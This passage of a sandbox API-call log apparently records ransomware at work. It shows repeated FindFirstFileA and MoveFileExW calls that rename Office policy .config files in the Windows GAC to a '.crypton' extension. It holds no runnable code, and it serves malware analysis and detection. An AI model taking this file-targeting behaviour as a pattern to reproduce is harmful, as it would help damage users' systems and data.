dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0233.027] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x596c1850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x83fc5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x83fc5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0233.030] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.office.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\policy.11.0.office.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.office.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.office\\14.0.0.0__71e9bce111e9429c\\policy.11.0.office.config.crypton"), dwFlags=0x2) returned 1 [0233.036] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8422740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8422740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0233.042] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8422740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x8422740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0233.045] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.config.crypton"), dwFlags=0x2) returned 1 [0233.055] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x84488a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x84488a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0233.062] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x543977b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x846ea00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x846ea00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0233.064] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.client.internal.host\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.client.internal.host.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.client.internal.host\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.client.internal.host.config.crypton"), dwFlags=0x2) returned 1 [0233.071] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x846ea00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x846ea00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.698] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542d90d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x93e7900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x93e7900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.701] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.FormControl.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.formcontrol\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.formcontrol.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.FormControl.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.formcontrol\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.formcontrol.config.crypton"), dwFlags=0x2) returned 1 [0234.708] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x940da60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x940da60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.713] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9433bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9433bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.716] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.permission\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.permission.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Permission\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Permission.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.permission\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.infopath.permission.config.crypton"), dwFlags=0x2) returned 1 [0234.724] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6699150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9433bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9433bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.737] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50eed0f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9459d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9459d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.754] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.access.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.access.config.crypton"), dwFlags=0x2) returned 1 [0234.761] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6117e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x94a5fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x94a5fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.798] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x94f22a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x94f22a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.801] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access.dao\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.access.dao.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Access.Dao\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Access.Dao.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.access.dao\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.access.dao.config.crypton"), dwFlags=0x2) returned 1 [0234.812] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa67c9c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9518400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9518400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.816] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e822870, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9518400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9518400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.819] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.excel.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Excel.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.excel.config.crypton"), dwFlags=0x2) returned 1 [0234.828] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66e5410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x953e560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x953e560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.834] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52b0b4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x953e560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x953e560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.839] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.graph.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Graph.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.graph.config.crypton"), dwFlags=0x2) returned 1 [0234.851] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a513b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x95646c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x95646c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.857] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x958a820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x958a820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.896] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.infopath.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.infopath.config.crypton"), dwFlags=0x2) returned 1 [0234.914] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x95fcc40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x95fcc40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.919] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56217190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9622da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9622da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.922] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.infopath.xml.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.infopath.xml.config.crypton"), dwFlags=0x2) returned 1 [0234.929] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x9622da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9622da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.936] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe99ad60, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x9648f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x9648f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.939] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.msproject.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.MSProject\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.MSProject.config.crypton" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.msproject\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.msproject.config.crypton"), dwFlags=0x2) returned 1 [0234.957] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c40590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x966f060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x966f060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0234.963] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59a53950, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x96951c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x96951c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0234.968] MoveFileExW (lpExistingFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.config" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.outlook\\14.0.0.0__71e9bce111e9429c\\policy.12.0.microsoft.office.interop.outlook.config"), lpNewFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.config.crypton" (normalized: 